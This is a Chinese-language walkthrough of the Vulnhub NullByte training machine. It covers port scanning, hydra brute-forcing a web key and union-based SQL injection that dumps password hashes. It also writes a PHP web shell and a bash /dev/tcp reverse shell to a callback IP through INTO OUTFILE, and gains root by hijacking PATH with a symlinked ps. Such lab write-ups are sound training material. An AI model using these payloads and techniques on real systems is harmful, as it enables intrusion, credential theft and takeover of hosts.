vulhub-nullbyte靶机

2024-04-25 850 0

这是我对靶机的复习wp,截图ip可能不一致,是网上复制的,主要捋一下自己打靶的思路

一:nmap探测

首先nmap主机探测和端口扫描

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.139
nmap -sT -sV -O -sC -p80,111,777,59147 10.10.10.139
nmap -sU --min-rate 10000 -p- 10.10.10.139
nmap --script=vuln -p80,111,777,59147 10.10.10.139

这边端口扫描的结果得到主机ip:10.10.10.139,有几个注意的点:

1.ssh端口由22改成777端口

2.值得首先尝试渗透的端口就是80和777

二:Web渗透

首先尝试80的web

首页很简洁没有什么功能点

尝试目录爆破

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.139

得到两个目录phpmyadmin和upload,upload暂时利用不了,因为无法列出相应目录,phpmyadmin尝试了几个弱口令,失败,记住这两个目录,先去找别的信息。

查看源码没啥提示,就是一张图片+一句话。图片名称为main.gif。wget下载下俩看看

遇到文件,可以利用file,string,exiftool看有没有什么有用信息

vulhub-nullbyte靶机插图

这个看着像密码,尝试了一下phpmyadmin,还是失败,觉得可能是目录,尝试一下

vulhub-nullbyte靶机插图1

这边的key还是尝试一下弱口令,没有成功,失败的情况如下图,会提示invalid key,查看源码,有红字提示

vulhub-nullbyte靶机插图2

这个表单并不连接到mysql数据库,密码没有那么复杂,还是尝试一下爆破吧

hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l aaa -P /usr/share/wordlists/rockyou.txt

由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败),-l参数表示login登录账号,随便填写一个即可

破解出来了,密码是elite,成功登入

vulhub-nullbyte靶机插图3

三:sql注入

什么多不输入,直接回车

vulhub-nullbyte靶机插图4

会有两个用户名出现,猜测会不会与数据库有交互,/?usrtosearch=这个也很值得怀疑是否有sql注入

简单尝试一下' '' 发现''可以构成报错,目前不知道他的数据库,万能语句尝试一下

" or 1=1 -- -

可以查出所有账号

vulhub-nullbyte靶机插图5

四种注入方式

这边任何一种都可以,主要还是复习学习

1.手工SQL注入之联合查询

先测列数

"order by 3 -- -

也可以使用union select null,null -- -

尝试后发现有3列

这边没有哪个参数返回的是否可以是文本信息,直接尝试

看一下数据库,数据库版本,当前登入用户

" union select database(),@@version,user() -- -

当前数据库名为seth,数据库版本是5.5.44-0,高于5.1(存在information_schema这个数据库),数据库登录用户为root(root就很好)

下一步查看有哪些数据库:

" union select table_schema, 2, 3 from information_schema.tables -- -

可以看到一共有5个数据库,分别是information_schema,mysql,perforence_schema,phpmyadmin,seth。显然我们最为关注的是seth这个数据库

查看seth数据库中有哪些表:

''union select table_name,2,3 from information_schema.tables where table_schema="seth"-- -

就一张users表,查表里面的列

" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -

users表中一共有四个字段,分别是id,user,pass,position,我们直接通过联合查询注入查找其中的前三个字段(一次最多显示三列)

" union select id, user, pass from users -- -

vulhub-nullbyte靶机插图6

用户ramses,密码看起来像是MD5加密,解密看看

用hashcat或者直接放在线网站就行

https://hashes.com/en/decrypt/hash

解密密码是omega

好了,现在我们拥有一个有效的账号密码了,回想之前的777的ssh端口,可以尝试一下

ssh [email protected] -p 777

成功连接

vulhub-nullbyte靶机插图7

这边先不去枚举提权。讨论别的方法

2.sql写木马

先明确一下sql写shell的前提

1.数据库secure_file_priv参数为空。即可写入文件

2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。

3.用户权限,第一个方法我们枚举出改数据库的用户是root

好了开始写入吧利用outfile函数,写入shell到文件shell.php

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -

显示fetched data successsfully,看起来像是成功了

尝试一下命令ls

vulhub-nullbyte靶机插图8

可以利用,让我们尝试用curl执行命令,尝试读取一些敏感文件,读取源码,可以看到这个界面与420search.php这个后端文件有交互,尝试读取一下

curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php

记得将空格url编码

vulhub-nullbyte靶机插图9

得到了root的账号密码,可以去尝试ssh,但是失败,这时我们联想到之前的phpmyadmin目录,尝试,成功登入,后续就是利用他查询seth数据库的users表里面存储的ssh连接用户账号密码,将密码解密即可

vulhub-nullbyte靶机插图10

3.SQL注入写入反弹shell

可以写文件那就可以反弹shell

" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -

注意:由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义。

访问reverse.php文件

kali本地监听

nc -lnvp 1234

成功反弹shell,不过是www-data权限的

vulhub-nullbyte靶机插图11

这时候去查看420search.php文件得到账户密码,phpmyadmin登录,后面思路与上述方法一致不在赘述

4.sqlmap

建议手工都训练一下在使用sqlmap,

sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump

vulhub-nullbyte靶机插图12

suid提权

常规枚举whoami,sudo -l ,history,cat /etc/crontab,

在history中,发现一个文件被执行了,可以去看看vulhub-nullbyte靶机插图13

cd /var/www/backup
ls -liah

vulhub-nullbyte靶机插图14

很好,该文件的s具有属组权限,也就是root的权限

尝试执行一下

vulhub-nullbyte靶机插图15

貌似这个文件执行的操作sh和ps

我们建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

vulhub-nullbyte靶机插图16

然后将当前目录加到环境变量

export PATH=.:$PATH

解释一下: 在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高,如果系统运行ps命令(即运行procwatch)会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。,且权限是root

再次执行 ./procwatch

vulhub-nullbyte靶机插图17

成功提权


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论